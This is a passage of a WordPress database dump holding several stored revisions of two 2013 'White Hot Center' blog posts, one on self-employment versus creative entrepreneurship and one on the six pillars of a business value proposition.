trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\r\n\r\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\r\n\r\nThe harvest is for the sower!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscibe to the White Hot Center.</em>', 'The difference between being self-employed and being a creative entrepreneur.', 0, '', 'inherit', 'open', 'open', '', '2501-revision-5', '', '', '2013-08-26 10:55:26', '2013-08-26 17:55:26', '', 2501, 'http://www.whitehotcenter.com/2013/08/2501-revision-5/', 0, 'revision', '', 0),
(2509, 2, '2013-08-26 11:02:34', '2013-08-26 18:02:34', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\r\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\r\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\r\n\r\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\r\n\r\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\r\n\r\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\r\n\r\nCreative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\r\n\r\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\r\n\r\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\r\n\r\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\r\n\r\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\r\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\r\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\r\n\r\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\r\n\r\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\r\n\r\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\r\n\r\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\r\n\r\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\r\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\r\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\r\n\r\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\r\n\r\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\r\n\r\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\r\n\r\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\r\n\r\nYou may wonder if my new business is big financial success? Not yet. Do I feel confident, accomplished and successful? Absolutely!\r\n\r\n<strong>The Moral of the Story.</strong>\r\n\r\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\r\n\r\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\r\n\r\nThe harvest is for the sower!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscibe to the White Hot Center.</em>', 'The difference between being self-Employed and being a creative entrepreneur.', 0, '', 'inherit', 'open', 'open', '', '2501-revision-7', '', '', '2013-08-26 11:02:34', '2013-08-26 18:02:34', '', 2501, 'http://www.whitehotcenter.com/2013/08/2501-revision-7/', 0, 'revision', '', 0),
(2510, 2, '2013-08-26 13:30:56', '2013-08-26 20:30:56', '<img class="alignnone size-full wp-image-2502" title="birdcage" src="http://whc.fbdev.org/wp-content/uploads/2013/08/birdcage.jpg" alt="" width="487" height="286" />\n<h1>When you realize the subtle but important distinction between being an entrepreneur and simply being self-employed, you free yourself from the cage of a limiting business model.</h1>\nBeing self-employed is nothing more than giving you a job. You still have to show up and deliver the goods just like in any other job. However, being an entrepreneur is not about self-employment–it’s about self-empowerment.\n\nMaybe that’s why I am so fascinated with the idea of success and accomplishment. Maybe that’s why the ideal of “economic freedom” at the intersection of career and calling has created my own terminal case of “do what you love and the money will follow”.\n\nI always resonated with the idea of doing what you love, but truth is, I didn’t really believe the money would follow. That mindset kept me locked in the cage of self-employment.\n\nMy dad was self-employed. I learned how to be self-employed from him. He loved to make things and hated to sell things. He was always struggling to keep customers and find new ones. Consequently he struggled to keep his job with no bandwidth for creative thinking and innovation for his future beyond the job at hand. One day, he got tired and quit forever.\n\nCreative entrepreneurs, on the other hand, are always creating amazing value for their customers that exceeds far beyond their own labor!\n\n<strong>Clearly my journey of self-employment tells the tale and makes the point.</strong>\n\nI never had a real job in my chosen career. After college, I went right into self-employment. I chose a profession that was based on providing a service and billing by the hour. Like a plumber or a lawyer–in my case it was graphic design and corporate communications.\n\nIt was an easy to understand business model for someone who simply wanted to be self-employed–I got paid by the job. Consequently, my focus was always on getting lots of jobs. Over time I learned how to sell jobs and build a successful job-shop. I thought I was successful because I could support my family and myself very nicely. I didn’t realize what a trap this would eventually become.\n\nAlong the way the marketplace changed. Technology leveled the playing field and lowered the barrier to entry into my profession. The market was flooded with graphic designers. Our job shop services became abundantly available at cheaper fees than what I needed to charge to keep the machine I created running. Projects were getting increasingly tougher and tougher to come by. What business we did win, was not very profitable, my focus was keeping all of us comfy cozy in our nice paychecks.\n<h2>At the limits of my knowledge, I didn’t have the deeper understanding “self-employment -paid-by-the-hour” was a flawed business model and would never lead to a level of “economic and creative freedom” that I dreamed about. I didn’t know what I didn’t know.</h2>\nFast-forward a couple of decades and I found myself completely burned out– sick and tired of constantly hunting and chasing for lower paying clients. Trapped in the cycle of feast or famine trying to keep me and a dozen or more employees in paychecks every week. Alas, my spirit and passion for self-employment was finally broken–of no use to myself, my clients, employees, and worse to my family!\n\nAs you can imagine, in a highly competitive create-on-demand profession, this would become a defining moment for me–a tipping point where everything I had built my entire life upon was now on the line.\n\n<strong>People change for two reasons–they want to, or they have to. In my case it was both! </strong>\n\nIn 2008 (in the face of the worst economy of a lifetime), I made the decision to radically change my life and professional direction. I was going to become an enlightened entrepreneur creating value from my ideas rather than my labor!\n\nLeveraging three decades of experience and expertise in branding, marketing, communications, and business development I reinvented myself as a writer, thought leader, facilitator and creative management consultant helping small business leaders, entrepreneurs and solo professionals with ideas and strategies to take their accomplishments to the next level.\n\nOver the past five years, lots of learning, experimenting and prototyping has taken place. When I think of this time period, I sometimes feel it has taken far too long to get where I think I should be. I want the learning process to be faster. New ideas, no matter how hard you want them to, come into form in their own sweet time. It takes what it takes and can’t be rushed nor forced.\n<h2>I believe the ability to persevere against mounting physical evidence it’s not happening is what distinguishes those who achieve from those who don’t.</h2>\nOn the other hand, I’m blown away and energized by the creative process of designing and building a new foundation! I’m fascinated with the transformation I have experienced. I get emails from readers from all over the world. Many will ask me “how can you be so creative and prolific?” and “when do you have the time?”\n\nI tell the truth. I no longer trade my time for money so I have lots of time to create valuable ideas that help business leaders grow and expand. Notwithstanding the financial challenges and costs that come with any shift in strategic direction, thus far, the creative process of building something extraordinary has been the most amazing and fulfilling of my life.\n\nAs contemporary poet and philosopher David Whyte elegantly describes “living on the frontier of our lives” is the only place where we can truly experience our greater potential, be the most useful, and feel most alive. When it comes to turning a formless idea into something valuable in the world, I know what I’m talking about!\n\nI’ll be honest; I feel fear all the time. Sometimes it paralyzes me, frustrates me, and distorts me. But I keep on planting seeds the best I can, with whatever resources are available at the moment.\n\nReinvention, innovation, creativity and transformation are self-empowering forces to expand your value to people and grow your influence in the marketplace. These forces are always present and available–there for your taking.\n\nYou may wonder if my new business is big financial success? Not yet. Do I feel confident, accomplished and successful? Absolutely!\n\n<strong>The Moral of the Story.</strong>\n\nThe marketplace rewards value creators with wealth and freedom–breaking the shackles of trade-your-time-for-money-self-employment. Your true value to the marketplace has nothing whatsoever to do with your labor. If you want more, you must first be more.\n\nElevate your value to the marketplace first by thinking bigger about your own value. Challenges, whatever they are, no matter how difficult they may seem, are nothing more than opportunities to practice filling the space your bigger future demands. You will worry and be afraid, despite that, keep believing in your bigger vision for your future. Plant your seeds.\n\nThe harvest is for the sower!\n\n&nbsp;\n\n<em>If you found this post helpful, please subscibe to the White Hot Center.</em>', 'The difference between being self-employed and being a creative entrepreneur.', 0, '', 'inherit', 'open', 'open', '', '2501-autosave', '', '', '2013-08-26 13:30:56', '2013-08-26 20:30:56', '', 2501, 'http://www.whitehotcenter.com/2013/08/2501-autosave/', 0, 'revision', '', 0),
(2513, 2, '2013-10-07 17:20:46', '2013-10-08 00:20:46', '', 'castles', 0, '', 'inherit', 'open', 'open', '', 'castles-2', '', '', '2013-10-07 17:20:46', '2013-10-08 00:20:46', '', 2511, 'http://www.whitehotcenter.com/wp-content/uploads/2013/10/castles1.jpg', 0, 'attachment', 'image/jpeg', 0);
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(2514, 2, '2013-10-07 17:31:29', '2013-10-08 00:31:29', '<img class="alignnone size-full wp-image-2513" title="castles" src="http://whc.fbdev.org/wp-content/uploads/2013/10/castles1.jpg" alt="Castles in the Mind" width="495" height="284" />\n<h1>Your value proposition is not about what you do or the products you sell. Your value proposition must articulate a highly valued outcome the customer desires. Think of your value proposition as a “castle in the mind” of your customers and clients.</h1>\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small.\n\nCustomers have abundant choice. It’s customers who decide who leads and who follows. When customers have abundant choice, the competition is always fierce. Those entrepreneurs who dominate their market always represent a compelling “idea of value” in the minds of customers that is simply not available from the alternatives in the category.\n\nHere are some fundamental questions that will require you answer with clarity of vision and confidence in your actions if you are to create “competitive advantage” to your business from the value you bring to the marketplace:\n\n<strong>•  How do you differentiate your business in ways that matter to your customers?</strong>\n\n<strong>•  How do you command premium prices and greater profit margins when everyone else is fighting to break even?</strong>\n\n<strong>•  How do you, a creative entrepreneur or solo professional, gain radical advantage over your would-be competitors in an ultra-competitive marketplace?</strong>\n\nCustomers care about their desires and outcomes far more than the functions of your products and the details of your services. It is of critical importance for you to understand this distinction. Your value proposition is more about beautiful castles (outcomes) rather than bricks and mortar (your products and services).\n\nRemember buying is an emotional decision too, not simply made out of necessity or convenience. The more emotionally engaging your value proposition is, the more competitive advantage you’ll gain in your marketing.\n<h2>To build castles in the mind, you must focus on uncovering ideas and insights on what clients and customers care about most.</h2>\nProduct features, claims of expertise and quality delivery are table stakes. Not enough to distinguish the real “value” of your business. When there is abundant supply, customers need something more than ephemeral claims to make purchase decisions, and more importantly, become loyal advocates of your business.\n\nA value proposition is a simple statement answering the There are the six pillars that you must consider when creating your value proposition to customers and clients:\n\n<strong><em>1) The target audience</em></strong>\nYou must identify the attributes that define the ideal customer segment your business serves. What attributes comprise your ideal client or customer? What are the specific factors that determine who your ideal clients? It could be any number of attributes like: industry, location, size, attitudes, motivations and demographic descriptions. You must define those people who closely represent your most fervent customers and clients.\n\nDefining these attributes will allow a prospective client on the receiving end of your marketing and sales conversations to determine “check, they work with companies like ours or people like me”.  More importantly you have a specific and well target to aim your marketing at.\n\n<strong><em>2) The customer need / business problem.</em></strong>\nYou need to consider the specific ways your products or services fulfill customer needs. Customer needs are often unspoken. For example, customers weren’t expressing a need for Apple’s iPhone. However once realized, customer’s couldn’t live without it. What needs do you fulfill that are unrealized by your customers, and once revealed to them, will have them standing in line outside your door? If your busness is professional services, what highly valued business problems do you solve for your ideal clients?\n\nKnowing how you help your ideal prospects understand the context that enhances your relevance to their needs is a critical element in creating your value proposition that enhances your competitive advantage.\n\n<strong><em>3) The value of your solution.</em></strong>\nWhat are the functional and emotional benefits customers receive from your products? What is the business value of your solution to your clients? You must always provide more “use value’ in the mind of your customer than they pay you in cash value. This will make your price irrelevant and enable your business to command premium prices.\n\nThis will help your customers and clients realize WHY they should fulfill their need or solution by purchasing your products and services .\n\n<strong><em>4) Your products and services.</em></strong>\nNotice that your products or services are not the first order of importance here. Your offerings do not lead your value proposition. We are taking a customer-centric approach and framing your offerings within the context of the needs you help your customers fulfill, or the solutions you provide that improve the client’s condition. It’s about providing outcomes (experiences) customers love!\n\n<strong><em>5) The reasons to believe.</em></strong>\nHow do you substantiate your claims? How do you deliver what you promise? How have you demonstrated your products and services work for customers and clients?\n\nYou must prove your value by providing compelling reasons to believe. You can use stories, case studies, testimonials and any number of methods to provide proof your offerings deliver on the value promised.\n\n<strong><em>6) The point of difference.</em></strong>\nWhy are your products preferable to other alternatives available? You must have a compelling, emotional benefit that is highly valued in the minds of customers and clients and difficult for your competitors to match. It’s not enough to be different for difference sake. Your difference must also be highly valued!\n\nThese six pillars form the DNA of a value proposition statement that will drive your product development, capabilities, marketing communication, sales conversations and your behavior in the marketplace.\n\n<em>If you found this post helpful, please subscribe to The White Hot Center!</em>', 'The Six Pillars of your Value Proposition.', 0, '', 'inherit', 'open', 'open', '', '2511-revision', '', '', '2013-10-07 17:31:29', '2013-10-08 00:31:29', '', 2511, 'http://www.whitehotcenter.com/2013/10/2511-revision/', 0, 'revision', '', 0),
(2515, 2, '2013-10-07 17:35:03', '2013-10-08 00:35:03', '<img class="alignnone size-full wp-image-2513" title="castles" src="http://whc.fbdev.org/wp-content/uploads/2013/10/castles1.jpg" alt="Castles in the Mind" width="495" height="284" />\n<h1>Your value proposition is not about what you do or the products you sell. Your value proposition must articulate a highly valued outcome the customer desires. Think of your value proposition as a “castle in the mind” of your customers and clients.</h1>\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small.\n\nCustomers have abundant choice. It’s customers who decide who leads and who follows. When customers have abundant choice, the competition is always fierce. Those entrepreneurs who dominate their market always represent a compelling “idea of value” in the minds of customers that is simply not available from the alternatives in the category.\n\nHere are some fundamental questions that will require you answer with clarity of vision and confidence in your actions if you are to create “competitive advantage” to your business from the value you bring to the marketplace:\n\n<strong>•  How do you differentiate your business in ways that matter to your customers?</strong>\n\n<strong>•  How do you command premium prices and greater profit margins when everyone else is fighting to break even?</strong>\n\n<strong>•  How do you, a creative entrepreneur or solo professional, gain radical advantage over your would-be competitors in an ultra-competitive marketplace?</strong>\n\nCustomers care about their desires and outcomes far more than the functions of your products and the details of your services. It is of critical importance for you to understand this distinction. Your value proposition is more about beautiful castles (outcomes) rather than bricks and mortar (your products and services).\n\nRemember buying is an emotional decision too, not simply made out of neccessity or convenience. The more emotionally engaging your value proposition is, the more competitive advantage you’ll gain in your marketing.\n<h2>To build castles in the mind, you must focus on uncovering ideas and insights on what clients and customers care about most.</h2>\nProduct features, claims of expertise and quality delivery are table stakes. Not enough to distinguish the real “value” of your business. When there is abundant supply, customers need something more than ephemeral claims to make purchase decisions, and more importantly, become loyal advocates of your business.\n\nA value proposition is a simple statement answering the question of why should a customer do busness with you. There are the six pillars that you must consider when creating your value proposition to customers and clients:\n\n<strong><em>1) The target audience</em></strong>\nYou must identify the attributes that define the ideal customer segment your business serves. What attributes comprise your ideal client or customer? What are the specific factors that determine who your ideal clients? It could be any number of attributes like: industry, location, size, attitudes, motivations and demographic descriptions. You must define those people who closely represent your most fervent customers and clients.\n\nDefining these attributes will allow a prospective client on the receiving end of your marketing and sales conversations to determine “check, they work with companies like ours or people like me”.  More importantly you have a specific and well target to aim your marketing at.\n\n<strong><em>2) The customer need / business problem.</em></strong>\nYou need to consider the specific ways your products or services fulfill customer needs. Customer needs are often unspoken. For example, customers weren’t expressing a need for Apple’s iPhone. However once realized, customer’s couldn’t live without it. What needs do you fulfill that are unrealized by your customers, and once revealed to them, will have them standing in line outside your door? If your busness is professional services, what highly valued business problems do you solve for your ideal clients?\n\nKnowing how you help your ideal prospects understand the context that enhances your relevance to their needs is a critical element in creating your value proposition that enhances your competitive advantage.\n\n<strong><em>3) The value of your solution.</em></strong>\nWhat are the functional and emotional benefits customers receive from your products? What is the business value of your solution to your clients? You must always provide more “use value’ in the mind of your customer than they pay you in cash value. This will make your price irrelevant and enable your business to command premium prices.\n\nThis will help your customers and clients realize WHY they should fulfill their need or solution by purchasing your products and services .\n\n<strong><em>4) Your products and services.</em></strong>\nNotice that your products or services are not the first order of importance here. Your offerings do not lead your value proposition. We are taking a customer-centric approach and framing your offerings within the context of the needs you help your customers fulfill, or the solutions you provide that improve the client’s condition. It’s about providing outcomes (experiences) customers love!\n\n<strong><em>5) The reasons to believe.</em></strong>\nHow do you substantiate your claims? How do you deliver what you promise? How have you demonstrated your products and services work for customers and clients?\n\nYou must prove your value by providing compelling reasons to believe. You can use stories, case studies, testimonials and any number of methods to provide proof your offerings deliver on the value promised.\n\n<strong><em>6) The point of difference.</em></strong>\nWhy are your products preferable to other alternatives available? You must have a compelling, emotional benefit that is highly valued in the minds of customers and clients and difficult for your competitors to match. It’s not enough to be different for difference sake. Your difference must also be highly valued!\n\nThese six pillars form the DNA of a value proposition statement that will drive your product development, capabilities, marketing communication, sales conversations and your behavior in the marketplace.\n\n<em>If you found this post helpful, please subscribe to The White Hot Center!</em>', 'The Six Pillars of your Value Proposition.', 0, '', 'inherit', 'open', 'open', '', '2511-revision-2', '', '', '2013-10-07 17:35:03', '2013-10-08 00:35:03', '', 2511, 'http://www.whitehotcenter.com/2013/10/2511-revision-2/', 0, 'revision', '', 0),
(2516, 2, '2013-10-07 17:36:29', '2013-10-08 00:36:29', '<img class="alignnone size-full wp-image-2513" title="castles" src="http://whc.fbdev.org/wp-content/uploads/2013/10/castles1.jpg" alt="Castles in the Mind" width="495" height="284" />\n<h1>Your value proposition is not about what you do or the products you sell. Your value proposition must articulate a highly valued outcome the customer desires. Think of your value proposition as a “castle in the mind” of your customers and clients.</h1>\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small.\n\nCustomers have abundant choice. It’s customers who decide who leads and who follows. When customers have abundant choice, the competition is always fierce. Those entrepreneurs who dominate their market always represent a compelling “idea of value” in the minds of customers that is simply not available from the alternatives in the category.\n\nHere are some fundamental questions that will require you answer with clarity of vision and confidence in your actions if you are to create “competitive advantage” to your business from the value you bring to the marketplace:\n\n<strong>•  How do you differentiate your business in ways that matter to your customers?</strong>\n\n<strong>•  How do you command premium prices and greater profit margins when everyone else is fighting to break even?</strong>\n\n<strong>•  How do you, a creative entrepreneur or solo professional, gain radical advantage over your would-be competitors in an ultra-competitive marketplace?</strong>\n\nCustomers care about their desires and outcomes far more than the functions of your products and the details of your services. It is of critical importance for you to understand this distinction. Your value proposition is more about beautiful castles (outcomes) rather than bricks and mortar (your products and services).\n\nRemember buying is an emotional decision too, not simply made out of neccessity or convenience. The more emotionally engaging your value proposition is, the more competitive advantage you’ll gain in your business development activities.\n<h2>To build castles in the mind, you must focus on uncovering ideas and insights on what clients and customers care about most.</h2>\nProduct features, claims of expertise and quality delivery are table stakes. Not enough to distinguish the real “value” of your business. When there is abundant supply, customers need something more than superfici claims to make purchase decisions, and more importantly, become loyal advocates of your business.\n\nA value proposition is a simple statement answering the question of why should a customer do busness with you. There are the six pillars that you must consider when creating your value proposition to customers and clients:\n\n<strong><em>1) The target audience</em></strong>\nYou must identify the attributes that define the ideal customer segment your business serves. What attributes comprise your ideal client or customer? What are the specific factors that determine who your ideal clients? It could be any number of attributes like: industry, location, size, attitudes, motivations and demographic descriptions. You must define those people who closely represent your most fervent customers and clients.\n\nDefining these attributes will allow a prospective client on the receiving end of your marketing and sales conversations to determine “check, they work with companies like ours or people like me”.  More importantly you have a specific and well target to aim your marketing at.\n\n<strong><em>2) The customer need / business problem.</em></strong>\nYou need to consider the specific ways your products or services fulfill customer needs. Customer needs are often unspoken. For example, customers weren’t expressing a need for Apple’s iPhone. However once realized, customer’s couldn’t live without it. What needs do you fulfill that are unrealized by your customers, and once revealed to them, will have them standing in line outside your door? If your busness is professional services, what highly valued business problems do you solve for your ideal clients?\n\nKnowing how you help your ideal prospects understand the context that enhances your relevance to their needs is a critical element in creating your value proposition that enhances your competitive advantage.\n\n<strong><em>3) The value of your solution.</em></strong>\nWhat are the functional and emotional benefits customers receive from your products? What is the business value of your solution to your clients? You must always provide more “use value’ in the mind of your customer than they pay you in cash value. This will make your price irrelevant and enable your business to command premium prices.\n\nThis will help your customers and clients realize WHY they should fulfill their need or solution by purchasing your products and services .\n\n<strong><em>4) Your products and services.</em></strong>\nNotice that your products or services are not the first order of importance here. Your offerings do not lead your value proposition. We are taking a customer-centric approach and framing your offerings within the context of the needs you help your customers fulfill, or the solutions you provide that improve the client’s condition. It’s about providing outcomes (experiences) customers love!\n\n<strong><em>5) The reasons to believe.</em></strong>\nHow do you substantiate your claims? How do you deliver what you promise? How have you demonstrated your products and services work for customers and clients?\n\nYou must prove your value by providing compelling reasons to believe. You can use stories, case studies, testimonials and any number of methods to provide proof your offerings deliver on the value promised.\n\n<strong><em>6) The point of difference.</em></strong>\nWhy are your products preferable to other alternatives available? You must have a compelling, emotional benefit that is highly valued in the minds of customers and clients and difficult for your competitors to match. It’s not enough to be different for difference sake. Your difference must also be highly valued!\n\nThese six pillars form the DNA of a value proposition statement that will drive your product development, capabilities, marketing communication, sales conversations and your behavior in the marketplace.\n\n<em>If you found this post helpful, please subscribe to The White Hot Center!</em>', 'The Six Pillars of your Value Proposition.', 0, '', 'inherit', 'open', 'open', '', '2511-revision-3', '', '', '2013-10-07 17:36:29', '2013-10-08 00:36:29', '', 2511, 'http://www.whitehotcenter.com/2013/10/2511-revision-3/', 0, 'revision', '', 0),
(2517, 2, '2013-10-07 17:37:40', '2013-10-08 00:37:40', '<img class="alignnone size-full wp-image-2513" title="castles" src="http://whc.fbdev.org/wp-content/uploads/2013/10/castles1.jpg" alt="Castles in the Mind" width="495" height="284" />\n<h1>Your value proposition is not about what you do or the products you sell. Your value proposition must articulate a highly valued outcome the customer desires. Think of your value proposition as a “castle in the mind” of your customers and clients.</h1>\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small.\n\nCustomers have abundant choice. It’s customers who decide who leads and who follows. When customers have abundant choice, the competition is always fierce. Those entrepreneurs who dominate their market always represent a compelling “idea of value” in the minds of customers that is simply not available from the alternatives in the category.\n\nHere are some fundamental questions that will require you answer with clarity of vision and confidence in your actions if you are to create “competitive advantage” to your business from the value you bring to the marketplace:\n\n<strong>•  How do you differentiate your business in ways that matter to your customers?</strong>\n\n<strong>•  How do you command premium prices and greater profit margins when everyone else is fighting to break even?</strong>\n\n<strong>•  How do you, a creative entrepreneur or solo professional, gain radical advantage over your would-be competitors in an ultra-competitive marketplace?</strong>\n\nCustomers care about their desires and outcomes far more than the functions of your products and the details of your services. It is of critical importance for you to understand this distinction. Your value proposition is more about beautiful castles (outcomes) rather than bricks and mortar (your products and services).\n\nRemember buying is an emotional decision too, not simply made out of neccessity or convenience. The more emotionally engaging your value proposition is, the more competitive advantage you’ll gain in your business development activities.\n<h2>To build castles in the mind, you must focus on uncovering ideas and insights on what clients and customers care about most.</h2>\nProduct features, claims of expertise and quality delivery are table stakes. Not enough to distinguish the real “value” of your business. When there is abundant supply, customers need something more than superficial claims to make purchase decisions, and more importantly, become loyal advocates of your business.\n\nA value proposition is a simple statement answering the question of why should a customer do busness with you. There are the six pillars that you must consider when creating your value proposition to customers and clients:\n\n<strong><em>1) The target audience</em></strong>\nYou must identify the attributes that define the ideal customer segment your business serves. What attributes comprise your ideal client or customer? What are the specific factors that determine who your ideal clients? It could be any number of attributes like: industry, location, size, attitudes, motivations and demographic descriptions. You must define those people who closely represent your most fervent customers and clients.\n\nDefining these attributes will allow a prospective client on the receiving end of your marketing and sales conversations to determine “check, they work with companies like ours or people like me”.  More importantly you have a specific and well target to aim your marketing at.\n\n<strong><em>2) The customer need / business problem.</em></strong>\nYou need to consider the specific ways your products or services fulfill customer needs. Customer needs are often unspoken. For example, customers weren’t expressing a need for Apple’s iPhone. However once realized, customer’s couldn’t live without it. What needs do you fulfill that are unrealized by your customers, and once revealed to them, will have them standing in line outside your door? If your busness is professional services, what highly valued business problems do you solve for your ideal clients?\n\nKnowing how you help your ideal prospects understand the context that enhances your relevance to their needs is a critical element in creating your value proposition that enhances your competitive advantage.\n\n<strong><em>3) The value of your solution.</em></strong>\nWhat are the functional and emotional benefits customers receive from your products? What is the business value of your solution to your clients? You must always provide more “use value’ in the mind of your customer than they pay you in cash value. This will make your price irrelevant and enable your business to command premium prices.\n\nThis will help your customers and clients realize WHY they should fulfill their need or solution by purchasing your products and services .\n\n<strong><em>4) Your products and services.</em></strong>\nNotice that your products or services are not the first order of importance here. Your offerings do not lead your value proposition. We are taking a customer-centric approach and framing your offerings within the context of the needs you help your customers fulfill, or the solutions you provide that improve the client’s condition. It’s about providing outcomes (experiences) customers love!\n\n<strong><em>5) The reasons to believe.</em></strong>\nHow do you substantiate your claims? How do you deliver what you promise? How have you demonstrated your products and services work for customers and clients?\n\nYou must prove your value by providing compelling reasons to believe. You can use stories, case studies, testimonials and any number of methods to provide proof your offerings deliver on the value promised.\n\n<strong><em>6) The point of difference.</em></strong>\nWhy are your products preferable to other alternatives available? You must have a compelling, emotional benefit that is highly valued in the minds of customers and clients and difficult for your competitors to match. It’s not enough to be different for difference sake. Your difference must also be highly valued!\n\nThese six pillars form the DNA of a value proposition statement that will drive your product development, capabilities, marketing communication, sales conversations and your behavior in the marketplace.\n\n<em>If you found this post helpful, please subscribe to The White Hot Center!</em>', 'The Six Pillars of your Value Proposition.', 0, '', 'inherit', 'open', 'open', '', '2511-revision-4', '', '', '2013-10-07 17:37:40', '2013-10-08 00:37:40', '', 2511, 'http://www.whitehotcenter.com/2013/10/2511-revision-4/', 0, 'revision', '', 0),
(2518, 2, '2013-10-07 17:39:25', '2013-10-08 00:39:25', '<img class="alignnone size-full wp-image-2513" title="castles" src="http://whc.fbdev.org/wp-content/uploads/2013/10/castles1.jpg" alt="Castles in the Mind" width="495" height="284" />\n<h1>Your value proposition is not about what you do or the products you sell. Your value proposition must articulate a highly valued outcome the customer desires. Think of your value proposition as a “castle in the mind” of your customers and clients.</h1>\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small.\n\nCustomers have abundant choice. It’s customers who decide who leads and who follows. When customers have abundant choice, the competition is always fierce. Those entrepreneurs who dominate their market always represent a compelling “idea of value” in the minds of customers that is simply not available from the alternatives in the category.\n\nHere are some fundamental questions that will require you answer with clarity of vision and confidence in your actions if you are to create “competitive advantage” to your business from the value you bring to the marketplace:\n\n<strong>•  How do you differentiate your business in ways that matter to your customers?</strong>\n\n<strong>•  How do you command premium prices and greater profit margins when everyone else is fighting to break even?</strong>\n\n<strong>•  How do you, a creative entrepreneur or solo professional, gain radical advantage over your would-be competitors in an ultra-competitive marketplace?</strong>\n\nCustomers care about their desires and outcomes far more than the functions of your products and the details of your services. It is of critical importance for you to understand this distinction. Your value proposition is more about beautiful castles (outcomes) rather than bricks and mortar (your products and services).\n\nRemember buying is an emotional decision too, not simply made out of neccessity or convenience. The more emotionally engaging your value proposition is, the more competitive advantage you’ll gain in your business development activities.\n<h2>To build castles in the mind, you must focus on uncovering ideas and insights on what clients and customers care about most.</h2>\nProduct features, claims of expertise and quality delivery are table stakes. Not enough to distinguish the real “value” of your business. When there is abundant supply, customers need something more than superficial claims to make purchase decisions, and more importantly, become loyal advocates of your business.\n\nA value proposition is a simple statement answering the question of why should a customer do busness 